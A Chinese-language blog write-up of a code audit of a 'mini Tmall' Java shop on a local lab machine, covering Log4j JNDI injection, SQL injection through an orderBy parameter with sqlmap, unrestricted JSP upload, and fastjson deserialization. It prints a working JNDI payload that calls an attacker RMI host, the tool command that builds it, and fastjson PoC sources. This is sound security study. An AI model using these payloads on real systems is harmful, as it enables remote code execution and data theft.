Web_番外_迷你天猫商城代码审计
Charmersix

环境搭建

拿到源码后,在/src/resources有相关数据库和端口配置文件,根据自己情况修改配置

image-20251009160527668

在/sqls里有数据库文件,导入到我们本地数据库当中

image-20251009160716588

这里我用的idea1.4.1,不需要配置maven,直接启动springboot即可,为项目首页:http://localhost:8088/tmall;后台界面:http://localhost:8088/tmall/admin

image-20251009160929869

其中后台密码为:admin/123456

image-20251009161007894

审计思路

首先看pom.xml审计项目组件

image-20251009161353986

比如这里,引入了fastjson和log4j

漏洞点1:log4j漏洞

首先查看log4j漏洞,由于这里使用了2.10.0版本,所以说肯定存在log4j漏洞

image-20251009163135192

这里我们查看ForeProductListController.java类,漏洞利用点在商品搜索框/tmall/product

image-20251009170101287

这里尝试传参111

然后我们利用jndi注入工具,构建exp,这里推荐:https://github.com/welk1n/JNDI-Injection-Exploit

1
java -jar .\JNDI-Injection.jar -C "calc" -A "vps_ip"

image-20251010134136149

直接在注入点打入payload:${jndi:rmi://192.168.0.124:1099/lk1ggf}

Ps: 这里如果使用浏览器, 直接打入即可, 如果使用bp记得要url编码一下

image-20251010134323655

利用成功

漏洞点2:SQL注入

这里可以直接去MyBatis看配置文件寻找注入点

MyBatis的配置文件是一个XML文件,其默认名称为mybatis-config.xml,用于配置和定制化MyBatis的运行时行为。比如可以用于配置数据库连接、属性、类型别名、类型处理器、插件、环境配置、映射器(mapper.xml)等信息。

image-20251010165748506

直接来到mapper里搜$符号,比如第一个,直接点击跳转到UserMapper.xml

MyBatis 在构造 SQL 字符串时把 ${} 内的表达式直接拼到 SQL 中(像字符串拼接),不做自动转义或绑定。如果 ${} 的内容来自不可信输入,就会产生 SQL 注入风险。 如果使用#{}则不易造成SQL注入

image-20251011140545364

然后来到dao层, 查看源代码

image-20251010171747066

ctrl+左键

image-20251010173256931

这里能够发现是getList调用了select方法, 继续往上一层寻找,来到controller

image-20251010173527457

这里能够发现, 在后台存在注入点, 这里有orderBy参数, 通过get请求传参, 我们直接拼接url

直接拿sqlmap跑一手

1
2
3
4
5
6
7
8
9
GET /tmall/admin/user/1/1?orderBy=2 HTTP/1.1
Host: 192.168.0.124:8088
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: username=admin; username=admin; JSESSIONID=95A3F26E0199F0D08848F0ACF49236B2
Connection: keep-alive

image-20251011141244677

同理,在/tmall/admin/product界面也能发现SQL注入漏洞

image-20251011170509362

漏洞点3:文件上传

不难发现,后台存在注入点

image-20251011171920303

直接尝试上传jsp文件,发现存在前端验证,这里借用bp绕过前端

image-20251011172008953

从前端代码不难看出,这里可以解析jsp脚本

image-20251205133521288

image-20251205133837060

虽然这里已经发现漏洞,但是还是要去审计一下后端源码,那么问题来了,我们不知道源码路径,这里有个小方法,可以借助文件上传的路径来寻找源代码位置。通过抓包不难发现uploadAdminHeadImage应该和文件上传后端代码存在于一个位置, 直接来搜索一下.可以发现在AccountController位置。

image-20251021152813332

下个断点重新看一下,开始debug

image-20251205150945187

一步一步F8观察,能够清晰地看到整个文件上传开始到成功回显的过程。同理,我们往里传入jsp看看是什么效果,可以看出后端没有任何校验过滤

image-20251205152732081

漏洞点4:fastjson

漏洞原理

json全称是JavaScript object notation。即JavaScript对象标记法,使用键值对进行信息的存储。example:

1
2
3
4
5
{	
"name":"Charmersix",        
"age":23,        
"media":["CSDN","bilibili","Github"]
}

json本质就是一种字符串,用于信息的存储和交换

fastjson是一个由阿里开发的一个开源Java类库,可以将Java对象转换为json格式(序列化),当然它也可以将json字符串转化为Java对象(反序列化)。Fastjson可以操作任何Java对象,即使是一些预先存在的没有源码的对象,这便是漏洞来源。

image-20251208102113485

fastjson的漏洞本质还是一个Java反序列化漏洞,由于引进了AutoType功能,fastjson在对json字符串反序列化的时候,会读取到@type的内容,将json内容反序列化为Java对象并调用这个类的setter方法。

fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。其实,对于json框架来说,想要吧一个Java对象转换成字符串,可以有两种选择:

1.基于setter/getter

2.基于属性(AutoType)

基于setter/getter会带来什么问题呢,下面举个例子,假设有如下两个类

1
2
3
4
5
6
7
8
class Apple implements Fruit {    
private Big_Decimal price;    
//省略 setter/getter、toString等
}
class iphone implements Fruit {    
private Big_Decimal price;    
//省略 setter/getter、toString等
}

实例化对象后,假设apple对象的price为0.5,apple类对象序列化为json格式后为:{"Fruit":{"price":0.5}}

假设iPhone对象的price为5000,序列化为json格式后为:{"Fruit":{"price":5000}}

当一个类只要一个接口的时候,将这个类的对象序列化的时候,就会将子类抹去(apple/iPhone)只保留接口的类型(Fruit),最后导致反序列化时无法得到原始类型。本例中,将两个json再反序列化生成Java对象的时候,无法区分原始类时apple还是iPhone。

为了解决上述问题,fastjson引入了基于属性(AutoType),即再序列化的时候,先把原始类型记录下来,使用@type的键记录原始类型,在本例中,引入AutoType后,Apple类对象序列化为json格式后为:{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.Apple", "price":0.5 } }

引入AutoType后,iPhone类对象序列化为json格式后为:{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.iphone", "price":5000 } }这样在反序列化的时候就可以区分原始的类了。

使用Auto Type功能进行序列化的json字符会带有一个@type来标记其字符的原始类型,在反序列化的时候会读取这个@type,来试图把json内容反序列化到对象,并且会调用这个库的setter或者getter方法,然而,@type的类有可能被恶意构造,只需要合理构造一个json,使用@type指定一个想要的攻击类库就可以实现攻击。

常见的有sun官方提供的一个类com.sun.rowset.JdbcRowSetImpl, 其中有个dataSourceName方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用。因此整个漏洞复现的原理过程就是:

1.攻击者访问存在fastjson漏洞的目标靶机网站,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。

2.存在漏洞的靶机对json反序列化时候,会加载执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行的命令。也就是靶机服务器问rmi服务器需要执行什么命令。

3.rmi服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用的代码编译得到.class文件,并上传至恶意站点),得到攻击者构造好的命令(ping dnslog或者创建文件或者反弹shell)

4.rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。

5.靶机服务器执行了恶意代码,被攻击者成功利用。

原理总结如下:

Fastjson在解析json(反序列化)的过程中,支持@Type来实例化一个具体类,且自动调用这个类的set/get方法来访问属性。攻击者通过查找代码中的get方法,来远程加载恶意命令,即造成反序列化漏洞。

服务器的fastjson在处理json数据的过程中,没有对@Type进行校验,攻击者就可以传入危险类,并且调用危险的类远程连接ldap/rmi服务,通过ldap/rmi服务上的恶意代码执行远程命令。

与log4j2反序列化漏洞利用点相似。

漏洞复现1

首先可以看到pom.xml中引入了fastjson并且版本是1.2.58,这个版本刚好存在漏洞,直接全局搜索一下fastjson的漏洞函数json.parseparseObject

image-20251215132249984

这里发现有四处parseObject函数,我们先进入第一个ProductController看一下image-20251215171113120

不难看出,这里用了propertyJson参数,看一下此参数最初的位置

image-20251215174329529

能够发现这里的漏洞点前台存在的位置,很明显是与产品属性有关,最终在添加产品位置发现

image-20251216143715004

ok,抓包打一下,这里有个fastjson poc合集 https://github.com/lemono0/FastJsonParty/blob/main/Fastjson%E5%85%A8%E7%89%88%E6%9C%AC%E6%A3%80%E6%B5%8B%E5%8F%8A%E5%88%A9%E7%94%A8-Poc.md

image-20251216142444355

试着用dnslog打一下,成功。

漏洞复现2

在前面搜索parseObject关键词时,不难看出还有其他的疑似漏洞点,我们这里再打一个试试,比如这里

image-20251216151808355

根据参数名称,大概率猜出这是购物界面,抓包结算界面

image-20251216153008753

尝试一下fastjson_poc

image-20251216152949985

利用成功

总结

第一次做代码审计项目,跟⑩一样,先这样吧,再试试审审别的项目

 Comments